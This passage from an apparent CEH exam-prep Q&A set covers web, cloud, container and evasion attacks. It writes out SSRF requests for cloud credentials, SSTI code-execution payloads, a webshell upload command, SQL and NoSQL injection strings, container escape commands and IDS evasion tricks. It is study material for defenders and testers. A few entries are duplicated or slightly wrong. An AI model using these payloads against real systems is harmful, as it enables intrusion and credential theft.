SSRF makes the server perform requests to attacker-controlled destinations. Internal network access: 'curl http://target.com/fetch?url=http://192.168.1.1' — server fetches internal gateway IP. AWS IMDS: 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' — steals IAM role credentials. Blind SSRF: use collaborator/Burp collaborator to confirm OOB HTTP request. Bypassing SSRF filters: use redirect (302 to internal), use alternative IP formats (http://0177.0.0.1, http://2130706433, http://[:1]). Example: Image upload feature fetches URL □ set URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role □ server returns AWS access key, secret key, session token □ full AWS account access.

Q213 QUESTION

What is server-side template injection (SSTI)?

ANSWER

SSTI injects malicious template code into server-side template engines. Engines: Jinja2 (Python/Flask), Twig (PHP), Freemarker (Java). Detection: inject {{7*7}} — if page shows '49' instead of literal '{{7*7}}' — SSTI confirmed. RCE via Jinja2: {{config.__class__.__init__.__globals__[os].popen('id').read()}} — executes OS command. RCE via Twig: {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}. Tools: tplmap (automated SSTI exploitation). Example: Website shows 'Hello {{name}}' — inject name={{7*7}} □ 'Hello 49' □ SSTI confirmed □ exploit for RCE □ full server compromise. Impact: remote code execution as web server process.

Q214 QUESTION

What is CGI vulnerability exploitation?

ANSWER

CGI (Common Gateway Interface) scripts execute server-side processes. Shellshock (CVE-2014-6271) exploits bash environment variable injection in CGI scripts. Payload via curl: User-Agent header containing '() { :; }; /bin/bash -c command'. Nmap script checks: 'nmap --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi 192.168.1.1'. Still relevant on legacy/IoT systems with old bash versions. Other CGI issues: PHP CGI argument injection (CVE-2012-1823), improper input validation in CGI scripts. Example: DVR camera management interface uses CGI — Shellshock in User-Agent □ RCE on camera — accesses internal network segment. Defense: upgrade bash, use CGI wrappers, replace CGI with modern alternatives.

Q215 QUESTION

What is WebDAV vulnerability?

ANSWER

WebDAV (Web Distributed Authoring and Versioning) extends HTTP to allow file management on web servers. Vulnerabilities: (1) Enabled without authentication — PUT method allows arbitrary file upload; (2) IIS 6.0 WebDAV buffer overflow (CVE-2017-7269); (3) Writable WebDAV allows uploading webshell. Testing: 'davtest -url http://target.com/webdav/' — tests which file types can be uploaded and executed. Exploit: upload .asp or .php webshell via PUT request: 'curl -X PUT http://target.com/webdav/shell.php -d @shell.php'. Metasploit: 'use exploit/windows/iis/iis_webdav_upload_asp'. Cadaver (WebDAV client): 'cadaver http://target.com/webdav/' ▯ 'put shell.asp' — interactive WebDAV client for file management.

13 SQL Injection

11 Qs

Q216 QUESTION

What is SQL injection and how does it work?

ANSWER

SQL injection inserts malicious SQL code into application queries. Vulnerable code: `query = 'SELECT * FROM users WHERE username=' + username + ' AND password=' + password`. Payload: `username = "admin'--"` makes query: `SELECT * FROM users WHERE username='admin'--' AND password="" -- comment (--)` disables password check — logs in as admin. Impact: authentication bypass, data extraction, data modification, command execution (`xp_cmdshell` in MSSQL), file read/write. Testing: enter ' (single quote) in input fields — SQL error confirms vulnerability.

Q217 QUESTION

What is UNION-based SQL injection?

ANSWER

UNION-based SQLi uses SQL UNION operator to retrieve data from other tables. Steps: (1) Find number of columns: ' ORDER BY 1-- (increment until error); (2) Find printable column: ' UNION SELECT NULL,NULL,NULL-- (find which column displays); (3) Extract data: ' UNION SELECT username,password,NULL FROM users-- Example: URL: `http://target.com/product.php?id=1' UNION SELECT 1,username,password FROM users--` □ page displays usernames and password hashes in place of product data. UNION requires same number of columns as original query.

Q218 QUESTION

What is blind SQL injection?

ANSWER

Blind SQLi extracts data when the application doesn't display query results. Boolean-based: inject conditions that change application behavior. ' AND 1=1-- (true condition — normal page) vs ' AND 1=2-- (false condition — different page). Extract data bit by bit: ' AND SUBSTRING(username,1,1)='a'-- Time-based: ' AND SLEEP(5)-- (5-second delay confirms SQLi). Automated extraction: `sqlmap --level=3 --technique=BT` (Boolean and Time). Example: ' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)-- — if 5-second delay, first character of password is 'a' — repeat for each character.

Q219 QUESTION

What is second-order SQL injection?

ANSWER

Second-order (persistent/stored) SQLi stores the malicious payload and exploits it later when retrieved. Example: Username registration: 'admin'-- stored in database without sanitization. Profile update page: `UPDATE users SET email='newemail' WHERE username='admin'--` — comment removes rest of query — updates admin's email instead of current user's. Different from first-order SQLi: injection point and execution point are different. Defense: parameterized queries must be used both when storing AND retrieving data — all database operations need proper handling.

Q220 QUESTION

What is NoSQL injection?

ANSWER

NoSQL injection targets NoSQL databases (MongoDB, CouchDB, Redis, Cassandra). MongoDB injection: login form sends JSON `{'username': 'admin', 'password': 'password'}` □ inject: `{'username': 'admin', 'password': {'$gt': ''}}` □ \$gt (greater than) empty string is always true □ authentication bypass without knowing password. Operators: \$ne (not equal), \$gt (greater than), \$regex (regex match), \$where (JavaScript execution). Tools: NoSQLMap. Example: Burp Suite □ intercept login □ change password field to `{'ne': 'wrongpassword'}` □ server processes: `WHERE password != 'wrongpassword'` □ matches admin account □ authentication bypass.

Q225 QUESTION

What is SQLi detection methodology?

ANSWER

SQL injection detection: identify all input points (URL params, POST fields, cookies, HTTP headers), test each with single quote (') – SQL error confirms vulnerability, boolean test (AND 1=1 vs AND 1=2 – different responses confirm boolean blind), time-based (AND SLEEP(5) – 5-second delay confirms time-based blind), automated scanning with sqlmap --level=5 --risk=3. Always test: GET/POST parameters, cookies, User-Agent, Referer, X-Forwarded-For. Example methodology: 1) Crawl app with spider, 2) Identify all parameters, 3) Test each with sqlmap --crawl=3 --level=5, 4) Manually verify findings, 5) Demonstrate impact by extracting actual data (with authorization), 6) Document with screenshots.

Q226 QUESTION

What is time-based blind SQL injection?

ANSWER

Time-based blind SQLi infers data by measuring database response delay. Payload: 'SELECT CASE WHEN (condition) THEN pg_sleep(5) ELSE pg_sleep(0) END' – 5-second delay if condition is true. MySQL: ' AND IF(1=1,SLEEP(5),0)-- ; MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--; Oracle: 'AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--'. Extract data: ' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)-- – if 5-second delay, first char is 'a'. Automate: sqlmap -u URL --technique=T --level=5 – automated time-based extraction. Slow but reliable when no other technique works. Example: Login form with no error output, no content difference on boolean – time-based confirms SQLi and extracts data character by character via timing.

14 Evading IDS, Firewalls & Honeypots

12 Qs

Q227 QUESTION

What are IDS evasion techniques?

ANSWER

IDS evasion techniques bypass intrusion detection systems. Fragmentation: split attack packets into fragments too small for IDS to reassemble (nmap -f). TTL manipulation: set TTL to expire at IDS but not target — IDS sees fragments, target gets complete packet. Session splicing: overlap TCP segments differently for IDS vs. target. Encoding/obfuscation: URL encoding, Unicode, hex encoding of exploit payload. Polymorphic shellcode: change shellcode appearance each time. Slow scan: scan so slowly threshold-based detection doesn't trigger. Decoys: nmap -D RND:10 (10 random decoy IPs). Example: nmap -sS -f --mtu 16 192.168.1.1 — packet fragmentation with 16-byte maximum — many signature-based IDS reassembly fails.

Q228 QUESTION

What are firewall evasion techniques?

ANSWER

Firewall evasion bypasses packet filtering rules. Techniques: (1) Source port manipulation — use allowed source ports (53, 80) as source port in Nmap (-g 53); (2) IP fragmentation; (3) Covert channels — tunnel traffic through allowed protocols (DNS tunneling through port 53, HTTP tunneling through port 80); (4) IP spoofing — forge source address; (5) ICMP tunneling — hide data in ICMP payload; (6) SSH tunneling — tunnel blocked protocol through SSH; (7) HTTP/S tunneling — all traffic through port 80/443. Example: Blocked SMTP (25) □ use SSH -L local:25:mail.target.com:25 tunneling — SMTP traffic travels inside SSH connection through firewall.

Q229 QUESTION

What is a honeypot?

ANSWER

A honeypot is a decoy system designed to attract attackers and study their techniques. Types: Low-interaction (simulate limited services — easy to deploy, less intelligence), High-interaction (real OS and services — more intelligence but more risk). Tools: Honeyd (low-interaction, simulate many hosts), Kippo/Cowrie (SSH honeypot), Dionaea (malware collection), Glastopf (web app honeypot). Honeypots detect: port scans, exploitation attempts, malware samples, attacker TTPs. Detection: unusual response timing, limited services, no real data. Example: Cowrie SSH honeypot logs all attacker commands — attacker thinks they've compromised a server — honey tokens (fake credentials) generate high-fidelity alerts when used.

Q230 QUESTION

What is intrusion detection system (IDS) types?

ANSWER

IDS types: Network IDS (NIDS) — monitors network traffic (Snort, Suricata, Zeek). Host IDS (HIDS) — monitors system events on individual hosts (OSSEC, Tripwire). Detection methods: Signature-based (known attack patterns — fast, can't detect zero-days), Anomaly-based (deviations from baseline — detects unknown attacks, higher false positive rate), Stateful protocol analysis (understands protocol state — validates protocol compliance). IPS (Intrusion Prevention System) is inline — actively blocks. IDS is passive — only alerts. Example: Snort rule: 'alert tcp any any -> \$HOME_NET 21 (msg:"FTP Anonymous Login"; content:"anonymous"; nocase;)' — alerts when anonymous FTP login attempt detected.

Q231 QUESTION

What is tunneling to evade detection?

ANSWER

Tunneling encapsulates one protocol inside another to bypass security controls. DNS tunneling: encode data in DNS queries/responses – port 53 almost always allowed. Tools: dnscat2, iodine. HTTP/HTTPS tunneling: wrap command channel in HTTP POST requests – blends with normal web traffic. ICMP tunneling: embed data in ICMP echo requests – ptunnel, icmptunnel. SSH tunneling: dynamic port forwarding (-D flag) creates SOCKS proxy through SSH. Example: dnscat2 on compromised host – all C2 traffic in DNS TXT records – firewall allows port 53 outbound – C2 channel established without triggering port-based blocking.

Q232 QUESTION

What is Snort and its rule structure?

ANSWER

Snort is the most widely used open-source IDS/IPS. Rule structure: action protocol src_ip src_port direction dst_ip dst_port (options). Example rule: 'alert tcp \$EXTERNAL_NET any -> \$HTTP_SERVERS 80 (msg:"SQL Injection Attempt"; content:"UNION SELECT"; nocase; pcre:"/union\s+select/i"; sid:1000001; rev:1;)'. Actions: alert, log, pass, drop (IPS mode), reject. Options: content (payload match), pcre (regex), flags (TCP flags), dsize (packet size), ttl (TTL value), detection_filter (rate-based). Running: snort -A console -q -c /etc/snort/snort.conf -i eth0.

Q233 QUESTION

What is honeypot detection?

ANSWER

Honeypot detection allows attackers to identify and avoid decoy systems. Detection techniques: (1) Uptime check – honeypots may show unusual uptime or recently installed OS; (2) Resource availability – honeypot has fewer processes, less disk activity; (3) Response timing – honeypots may respond identically to all inputs (simulated service); (4) Data quality – honeypot file system has no real data (no user files, no email); (5) Network behavior – honeypot may have no outbound connections to real services; (6) Known honeypot signatures – Honeyd, Cowrie have identifiable characteristics. Example: Port 22 shows OpenSSH but has no ~/.bash_history, no cron jobs, no real files, generic system info – likely Cowrie SSH honeypot. Avoid: don't interact further, move to real targets.

Q234 QUESTION

What is next-generation firewall (NGFW) evasion?

ANSWER

NGFW evasion bypasses application-aware firewalls. Techniques: (1) Application mimicry – wrap malicious traffic in legitimate application protocol (HTTP/HTTPS); (2) Protocol compliance – use valid HTTP requests with malicious payload to bypass protocol inspection; (3) SSL/TLS encryption – most NGFWs don't decrypt by default; (4) Fragmentation at application layer – split malicious payload across multiple packets; (5) Timing – slow connections below detection threshold; (6) Custom applications – use protocol not classified by NGFW; (7) Domain fronting – use CDN domain fronting to hide C2 destination. Example: Cobalt Strike malleable C2 profile mimics Microsoft Teams API traffic – NGFW application identification sees Teams traffic – allows connection – C2 established.

Q235 QUESTION

What is IPS signature bypass?

ANSWER

IPS signature bypass evades pattern-matching rules. Techniques: (1) Encoding – URL-encode exploit payload (%27 for '); (2) Case variation – sELeCt instead of SELECT; (3) Comments – SE/**/LECT 1,2,3; (4) String splitting – 'con'+cat'(1,2) in SQL; (5) Hex encoding – 0x53454c454354 for SELECT; (6) Whitespace variants – tab (0x09), newline (0x0a), carriage return (0x0d) instead of space; (7) Chunked encoding – split payload across multiple HTTP chunks. Shellcode evasion: polymorphic shellcode (generates unique byte sequence each run), custom XOR encoding. Example: IPS blocks 'union select' □ bypass: 'UNION%0aSELECT' (URL-encoded newline instead of space) □ same SQL logic, different representation □ IPS rule doesn't match.

Q236 QUESTION

What is network scanning detection and evasion?

ANSWER

Network scan detection: IDS signatures for: port scan patterns (many ports in short time from single IP), SYN packets without completing handshake, unusual flag combinations (Xmas, NULL, FIN scans). Evasion: (1) Slow scan (nmap -T0 – hours for full scan); (2) Decoys (nmap -D RND:10 – 10 fake source IPs); (3) Fragmentation (-f – split into tiny fragments); (4) Idle/zombie scan (-sI – scan via zombie host – attacker IP never appears); (5) Source port specification (-g 53 – source port 53 appears as DNS traffic); (6) Randomize targets (--randomize-hosts); (7) Different tools (Masscan, Zmap, custom scripts – no tool-specific signatures). Best evasion: combine idle scan + decoys + slow timing + custom source port.

Q237 QUESTION

What is network scan detection and evasion?

ANSWER

Scan detection: IDS alerts on many ports scanned from single IP in short time, SYN packets without handshake completion, unusual TCP flag combinations. Evasion techniques: slow scan (nmap -T0), decoys (nmap -D RND:10 – 10 fake source IPs), fragmentation (-f), idle/zombie scan (-sI – attacker IP never appears in logs), source port manipulation (-g 80 – source port appears as HTTP), randomize host order. Best evasion combination: idle scan + decoys + slow timing = near-undetected. Detection of evasion: correlate IDS events across time, look for fragmented packet patterns, monitor for zombie host IPID anomalies.

Q238 QUESTION

What is deep packet inspection evasion?

ANSWER

Deep Packet Inspection (DPI) examines full packet content. Evasion: (1) Encryption – TLS/SSL prevents DPI inspection of payload; (2) Obfuscation protocols – Tor obfsproxy, obfs4, meek (traffic looks like innocent cloud provider traffic); (3) Protocol mimicry – malicious traffic mimics innocent protocol byte-for-byte; (4) Steganography in protocol – hide data in innocent-looking protocol fields; (5) Fragmentation at application layer; (6) Domain fronting – CDN fronting hides true destination. VPN tunneling: all traffic appears as VPN protocol – DPI sees VPN, not contents. Application layer evasion: use exactly valid HTTP – DPI relying on protocol violation detection fails.

15 Cloud, IoT & Mobile Hacking

15 Qs

Q239 QUESTION

What is cloud hacking in CEH v13?

ANSWER

Cloud hacking targets cloud service misconfigurations and vulnerabilities. CEH cloud attack vectors: S3 bucket misconfiguration (public read/write access – exposure of sensitive data), IAM misconfiguration (overly permissive roles, no MFA on root), SSRF to AWS IMDS (<http://169.254.169.254> – steal IAM credentials), container escape (privileged container – breakout to host), serverless injection, CloudTrail disabled (cover tracks), insecure CI/CD pipelines. Tools: Pacu (AWS exploitation framework), ScoutSuite (cloud security audit), AWSCLI with stolen credentials. Example: SSRF in web app □ request to <http://169.254.169.254/latest/meta-data/iam/security-credentials/> □ IAM role name □ steal temporary credentials □ access S3 buckets and EC2 instances.

Q240 QUESTION

What is IoT hacking?

ANSWER

IoT hacking targets Internet of Things devices. Attack surface: physical interfaces (UART, JTAG for firmware extraction), network interfaces (insecure protocols – MQTT, CoAP, Zigbee), firmware vulnerabilities, default credentials, web interfaces (CVEs in management portals), cloud backend. CEH tools: Shodan (discover IoT devices), Firmwalker (firmware analysis), Binwalk (extract firmware), RouterSploit (IoT exploit framework). Example: Search Shodan for 'port:23 product:"Hikvision"' – finds DVR cameras with default Telnet enabled – connect with admin/12345 – access camera feed and internal network. Firmware extraction via UART JTAG interface with logic analyzer.

Q241 QUESTION

What is mobile platform hacking?

ANSWER

Mobile hacking targets Android and iOS devices. Android attack vectors: malicious APK (sideloading), ADB exploitation (Android Debug Bridge – USB debugging enabled), rooted device exploitation, insecure data storage (cleartext in SharedPreferences, SQLite), improper certificate validation (MITM), Frida (dynamic instrumentation). iOS attack vectors: jailbreak exploits, MDM profile attacks, backup extraction. Tools: MobSF (Mobile Security Framework – static/dynamic analysis), drozer (Android security assessment), apktool (APK reverse engineering), Frida. Example: MobSF analyzes banking app APK – reveals API keys hardcoded in strings.xml, cleartext HTTP for some endpoints, insecure logging of financial data.

Q242 QUESTION

What is OT/SCADA hacking?

ANSWER

OT (Operational Technology) and SCADA (Supervisory Control and Data Acquisition) systems control physical processes. Attack impact: physical damage, safety incidents, service disruption. Protocols: Modbus (TCP/502 – no authentication), DNP3, IEC 61850, PROFINET. Tools: Metasploit OT modules, ISF (Industrial Exploitation Framework), Redpoint NSE scripts for Nmap. Stuxnet: first known cyberweapon targeting Siemens PLCs controlling uranium centrifuges – reprogrammed PLCs while reporting normal status to operators – destroyed 1,000+ centrifuges. CEH context: know that Shodan can discover SCADA systems: search 'port:502' (Modbus) or 'siemens s7' to find industrial systems.

Q243 QUESTION

What is container security in CEH context?

ANSWER

Container hacking targets Docker and Kubernetes. Docker attacks: (1) Escaping privileged containers — if container runs with `--privileged` flag, can access host devices: mount host filesystem, escape to host; (2) Exposed Docker socket `/var/run/docker.sock` — if mounted in container, control all containers including host; (3) Image vulnerabilities — CVEs in base images. Kubernetes attacks: (1) Exposed dashboard without auth; (2) Service account token abuse; (3) etcd (key-value store) access — contains all cluster secrets. Tool: Peirates (Kubernetes penetration tool). Example: `'docker run --privileged ubuntu'` in container: `'fdisk -l'` shows host disks `'mount /dev/sda1 /mnt'` full host filesystem access.

Q244 QUESTION

What is API hacking?

ANSWER

API hacking targets Application Programming Interfaces. OWASP API Security Top 10: API1 Broken Object Level Authorization (BOLA/IDOR — change ID in request), API2 Broken Authentication (JWT algorithm confusion, API key leakage), API3 Broken Object Property Level Authorization (mass assignment), API4 Unrestricted Resource Consumption (no rate limiting), API5 Broken Function Level Authorization (access admin endpoints), API6 Unrestricted Access to Sensitive Business Flows. Tools: Burp Suite, Postman, OWASP ZAP for API testing, ffuf for API fuzzing. Example: `GET /api/v1/users/1001` returns my profile `GET /api/v1/users/1002` returns another user's profile with PII — BOLA/IDOR vulnerability.

Q245 QUESTION

What is AI-powered hacking in CEH v13?

ANSWER

CEH v13 introduces AI-powered attack techniques. AI for attackers: (1) Automated reconnaissance — LLMs analyze OSINT data and suggest attack paths; (2) AI-generated phishing — ChatGPT creates highly convincing, grammatically perfect phishing emails; (3) Deepfake social engineering — fake audio/video of CEO authorizing wire transfers; (4) AI-assisted vulnerability discovery — ML models identify patterns in code; (5) AI-powered password cracking — ML predicts likely passwords based on target profile; (6) Automated exploit generation. Defense: AI-powered security tools (UEBA, automated threat detection), deepfake detection, enhanced verification for sensitive requests. Example: Attacker uses ChatGPT to generate 500 personalized spear phishing emails based on LinkedIn profiles — each email references real projects and colleagues.

Q246 QUESTION

What is firmware analysis?

ANSWER

Firmware analysis examines embedded device software for vulnerabilities. Process: (1) Acquire firmware — from vendor website, OTA update capture, or physical extraction (UART, JTAG, SPI flash dump); (2) Extract filesystem — Binwalk: `'binwalk -e firmware.bin'` extracts squashfs, cramfs; (3) Static analysis — search for hardcoded credentials, grep for `'password'`, `'secret'`, cryptographic keys; (4) Emulation — QEMU + Firmadyne for dynamic analysis; (5) Vulnerability analysis — identify vulnerable versions of embedded Linux, web servers (lighttpd). Example: Binwalk extracts D-Link router firmware `grep` reveals hardcoded backdoor: `'username=admin password=1234'` — affects thousands of deployed devices. CVE issued, vendor notified.

Q247 QUESTION

What are common cloud attack tools?

ANSWER

Cloud attack tools: Pacu (AWS exploitation framework — analogous to Metasploit for AWS), ScoutSuite (multi-cloud security audit — AWS/Azure/GCP), CloudMapper (visualize AWS environment), Prowler (AWS security auditing), CloudSploit (cloud misconfiguration scanner), WeirdAAL (AWS attack library), Boto3 (Python AWS SDK for custom attacks), Azure-CLI + PowerZure (Azure exploitation), GCP-CLI + GCPBucketBrute (GCP bucket enumeration). Example: Pacu: 'run iam__enum_permissions' ▢ determines what actions current credentials can perform ▢ 'run privesc_scan' ▢ identifies privilege escalation paths in IAM ▢ 'run s3__bucket_finder' ▢ discovers all accessible S3 buckets including unintended ones.

Q248 QUESTION

What is MQTT security in IoT?

ANSWER

MQTT (Message Queuing Telemetry Transport) is the most common IoT protocol — pub/sub messaging over TCP port 1883 (unencrypted) or 8883 (TLS). Security issues: (1) No authentication by default — anonymous connections accepted; (2) No encryption by default — cleartext messages; (3) Wildcard subscriptions — # subscribes to ALL topics — eavesdrop everything; (4) Insecure broker configuration. Tools: MQTT Explorer (GUI client), mosquitto_sub (CLI subscribe). Example: 'mosquitto_sub -h iot.target.com -t # -v' — subscribe to all topics (#) — reveals smart home device status, temperature readings, security system state, potentially door lock commands — attacker can monitor and control all IoT devices.

Q249 QUESTION

What is Android application analysis?

ANSWER

Android app analysis: (1) Static — APK decompilation: 'apktool d app.apk' (decompile), 'jadx-gui app.apk' (Java decompile) — find: hardcoded API keys, URLs, passwords, Firebase URLs; (2) Dynamic — Frida (dynamic instrumentation — hook methods, bypass cert pinning, dump memory), Android emulator (QEMU-based), Burp proxy (intercept SSL — install Burp CA cert); (3) Network — Wireshark on rooted device or emulator. MobSF: automated static + dynamic analysis. Example: jadx-gui decompiles banking app ▢ search for 'API_KEY' ▢ finds hardcoded 'sk-prod-xxx' Stripe API key with full charge permission ▢ report to developer, rotate key immediately.

Q250 QUESTION

What is container escape techniques?

ANSWER

Container escape breaks out of Docker/Kubernetes container to host OS. Techniques: (1) Privileged container — if --privileged flag set, container has full host access: 'fdisk -l' ▢ 'mount /dev/sda1 /mnt' ▢ full filesystem access; (2) Exposed Docker socket — if /var/run/docker.sock mounted in container: 'docker -H unix:///var/run/docker.sock run --privileged -v /:/host ubuntu chroot /host /bin/bash' ▢ root on host; (3) Host mount — if host path mounted read-write; (4) Kernel exploit — exploit unpatched host kernel from container (same kernel as host); (5) CAP_SYS_ADMIN — allows mounting filesystems, accessing host devices. Tool: CDK (Container DiveKit) — automated container escape detection and exploitation.

Q251 QUESTION

What is AWS S3 bucket enumeration?

ANSWER

S3 bucket enumeration discovers publicly accessible Amazon S3 buckets. Bucket naming patterns: companyname-backup, companyname-dev, companyname-data, companyname.com. Tools: S3Scanner, BucketFinder, awscli. Commands: 'aws s3 ls s3://targetco-backup --no-sign-request' (access without credentials). Check permissions: if ListBucket allowed ☐ list all files, if GetObject allowed ☐ download any file. Sensitive data commonly found: database backups, employee data, source code, API keys, SSL private keys, financial records. Example: AWS CLI: 'aws s3 ls s3://targetco-confidential --no-sign-request' ☐ lists 'Q4_2024_financials.xlsx', 'customer_SSNs.csv', 'vpn_config.ovpn' — completely public with sensitive data.

Q252 QUESTION

What is Docker container escape?

ANSWER

Container escape breaks out to host OS. Privileged container (--privileged flag): 'fdisk -l' shows host disks, mount /dev/sda1 /mnt ☐ full filesystem access. Exposed Docker socket (/var/run/docker.sock): create privileged container mounting host root: 'docker run -v /:/host --privileged ubuntu chroot /host /bin/bash' ☐ root on host. CAP_SYS_ADMIN capability allows mounting host filesystem. Writable host path mounted in container. Kernel exploit (same kernel as host). Tool: CDK (Container DiveKit) — automated container escape. Defense: never run --privileged in production, don't mount Docker socket, use rootless Docker, Pod Security Standards (Kubernetes) enforcing non-privileged.

Q253 QUESTION

What is Kubernetes RBAC misconfiguration?

ANSWER

Kubernetes RBAC (Role-Based Access Control) misconfigurations enable privilege escalation. Common issues: (1) Overpermissive service accounts — default service account has admin rights; (2) Wildcard permissions — '*' on resources and verbs; (3) Secrets list/get — service account can read all Kubernetes secrets including other app credentials; (4) create/update deployment — can create privileged pod and escape to host; (5) bind cluster-admin — can grant self admin. Tool: Peirates automates K8s privilege escalation. Example: Pod service account has 'create pods' permission ☐ create privileged pod with hostPath mounting / ☐ chroot into host filesystem ☐ full host OS access ☐ escape container isolation. Defense: audit RBAC rules, use namespace-scoped roles, principle of least privilege.

16 Cryptography for CEH

12 Qs

Q254 QUESTION

What cryptography concepts are tested in CEH?

ANSWER

CEH cryptography topics: Symmetric (AES, DES, 3DES, RC4, Blowfish – same key encrypt/decrypt), Asymmetric (RSA, ECC, Diffie-Hellman – public/private key pair), Hashing (MD5, SHA-1, SHA-256 – one-way, integrity), PKI (Certificate Authority, digital signatures, X.509), Cryptanalysis (attacks on cryptographic systems), Steganography (hiding data), Cipher types (substitution, transposition, stream, block). Key focus: understanding weaknesses – MD5 collisions, WEP RC4 weakness, DES brute force feasibility, RSA key size recommendations.

Q255 QUESTION

What are common cryptographic attacks?

ANSWER

Cryptographic attacks: Brute force (try all keys – AES-128 theoretically impossible, DES feasible), Dictionary attack (try common passwords/keys), Rainbow table (precomputed hash lookup – defeated by salting), Birthday attack (exploit hash collision probability – SHA-1 practically broken), MITM (intercept key exchange), Replay attack (replay captured authentication), Padding oracle (CBC mode padding error information leakage – BEAST, POODLE), Frequency analysis (substitution cipher – letter frequency in English), Meet-in-the-middle (attack on double encryption – 2DES), Known-plaintext/Chosen-plaintext/Chosen-ciphertext. Example: POODLE attack – SSLv3 CBC padding oracle – forces SSL 3.0 downgrade then exploits padding oracle to decrypt cookies.

Q256 QUESTION

What is PKI (Public Key Infrastructure)?

ANSWER

PKI is the framework for managing public-key encryption and digital certificates. Components: Certificate Authority (CA) – trusted entity issuing certificates, Registration Authority (RA) – verifies identity before CA issues cert, CRL (Certificate Revocation List) – list of revoked certs, OCSP (Online Certificate Status Protocol) – real-time revocation check, X.509 certificate standard. Digital signature process: sender hashes document □ encrypts hash with private key (signature) □ recipient decrypts with sender's public key □ compares hashes □ confirms authenticity and integrity. CEH context: understand how certificate chain works, how self-signed certs create MITM opportunity.

Q257 QUESTION

What is disk encryption and cryptographic tools?

ANSWER

Disk encryption protects data at rest. Tools: BitLocker (Windows full disk encryption – TPM + PIN), VeraCrypt (open source, TrueCrypt successor – hidden volumes for plausible deniability), LUKS (Linux Unified Key Setup), FileVault (macOS). CEH context: attackers look for unencrypted laptops, cold boot attacks (freeze RAM □ preserve encryption keys in memory), evil maid attack (physical access between boots – install bootkit to capture key). CEH tools: HashCalc (compute hash values), CrypTool (cryptography learning), BeeCrypt, OpenSSL (command-line crypto operations). Example: Cold boot attack – spray RAM with compressed air (-50°C) □ RAM retains data minutes after power off □ dump RAM □ extract BitLocker key.

Q258 QUESTION

What is steganography detection (steganalysis)?

ANSWER

Steganalysis detects hidden information in steganographic media. Detection techniques: visual inspection (LSB technique makes subtle changes visible under statistical analysis), file size anomaly (steganographic file larger than expected), statistical analysis (chi-square test detects non-random pixel distribution from LSB insertion), metadata analysis (creation tool, unusual metadata), comparison with original (if available). Tools: StegSpy (detect steganography type), StegExpose (statistical steganalysis), Stegoveritas, Detect-It-Easy. CEH steganalysis tool: Gargoyle (detect steganography in images). Example: Suspect image fails chi-square test for randomness — steghide extracts hidden ZIP file containing company financial data.

Q259 QUESTION

What is hashing and its uses?

ANSWER

Hashing produces a fixed-size output (digest) from any input — one-way function (cannot reverse). Properties: deterministic (same input always same hash), avalanche effect (tiny input change = completely different hash), collision resistance (find two inputs with same hash is computationally infeasible for secure algorithms). Algorithms: MD5 (128-bit — broken, use only for file integrity), SHA-1 (160-bit — broken for signatures), SHA-256 (256-bit — current standard), SHA-3 (Keccak — newer). CEH uses: file integrity verification, password storage (with salt), digital signatures. Example: File integrity: download Firefox installer ▢ SHA-256 hash ▢ compare with Mozilla's published hash ▢ if different, file was tampered during download.

Q260 QUESTION

What is asymmetric encryption in CEH?

ANSWER

Asymmetric encryption uses mathematically linked key pair: public key (share freely) and private key (keep secret). Encryption: sender encrypts with recipient's PUBLIC key — only recipient's PRIVATE key decrypts. Signature: sender encrypts hash with their PRIVATE key — anyone verifies with sender's PUBLIC key — provides authentication and non-repudiation. Algorithms: RSA (factoring large primes — 2048-bit minimum), ECC (elliptic curve — 256-bit ≈ RSA 3072-bit — efficient for mobile), Diffie-Hellman (key exchange — not encryption). CEH context: understand HTTPS uses asymmetric for key exchange, then symmetric (AES) for bulk data encryption (hybrid approach).

Q261 QUESTION

What is MD5 and its weakness?

ANSWER

MD5 (Message Digest Algorithm 5) produces 128-bit hash — designed in 1991 by Ron Rivest. Weaknesses: (1) Collision attacks — two different files can produce same MD5 hash (Wang and Yu demonstrated in 2004); (2) Fast computation — GPUs can compute billions of MD5 hashes per second — password cracking trivial; (3) Rainbow table attacks — precomputed tables exist for billions of common passwords. Still used for: file integrity checks (non-adversarial), legacy systems. Should NOT be used for: password storage, digital signatures, certificate fingerprints. Example: Hashcat on modern GPU cracks all 8-character lowercase MD5 hashes in under 1 minute — making MD5 passwords practically useless for security.

Q262 QUESTION

What is digital certificate validation?

ANSWER

Digital certificate validation process: (1) Check certificate is not expired (validity period); (2) Check certificate is issued by a trusted CA (trust chain); (3) Verify certificate is not revoked (CRL or OCSP check); (4) Verify certificate hostname matches server (CN or SAN); (5) Verify digital signature with CA's public key (cryptographic integrity). Certificate pinning: application hard-codes expected certificate or public key – rejects even CA-valid certificates that don't match. Man-in-the-middle: fraudulent certificate from rogue CA defeats normal validation – certificate pinning prevents this. Example: Browser warning 'Your connection is not private' – certificate check failed (expired, hostname mismatch, untrusted CA, revoked) – DO NOT proceed on banking sites.

Q263 QUESTION

What is rainbow table attack and defense?

ANSWER

Rainbow table attack uses precomputed hash-to-plaintext lookup tables to crack passwords instantly. Process: hash password → look up in rainbow table → find plaintext immediately. Tables can crack all Windows LM passwords in seconds. Defense – salting: add random value (salt) to password before hashing – 'password' + random_salt → hash. Rainbow tables cannot work because: same password produces different hashes with different salts – would need separate table for each possible salt. Modern storage: password stored as \$salt\$hash(password+salt). Tools: Ophcrack (uses rainbow tables against unsalted LM hashes), RainbowCrack. Example: Ophcrack with Ophcrack tables cracks all 14-character Windows XP passwords (LM hashes – no salting) in under 15 minutes – demonstrates why salting is essential.

Q264 QUESTION

What is rainbow table attack and defense?

ANSWER

Rainbow table stores precomputed hash-to-plaintext mappings for instant password cracking. Process: compute hash → look up in table → find plaintext immediately. Ophcrack cracks all Windows LM passwords in seconds. Defense: salting – add random value to password before hashing: hash(password+salt) stored with salt. Makes rainbow tables useless (need separate table per salt). Modern password hashing: bcrypt, Argon2, PBKDF2 – all include salting + work factor (slow computation). CEH exam: know that rainbow tables defeat unsalted hashes, salting defeats rainbow tables, work factor (bcrypt rounds) defeats brute force. LM hash (Windows XP and earlier) is split into two 7-character pieces – never use.

Q265 QUESTION

What are symmetric encryption algorithms in CEH?

ANSWER

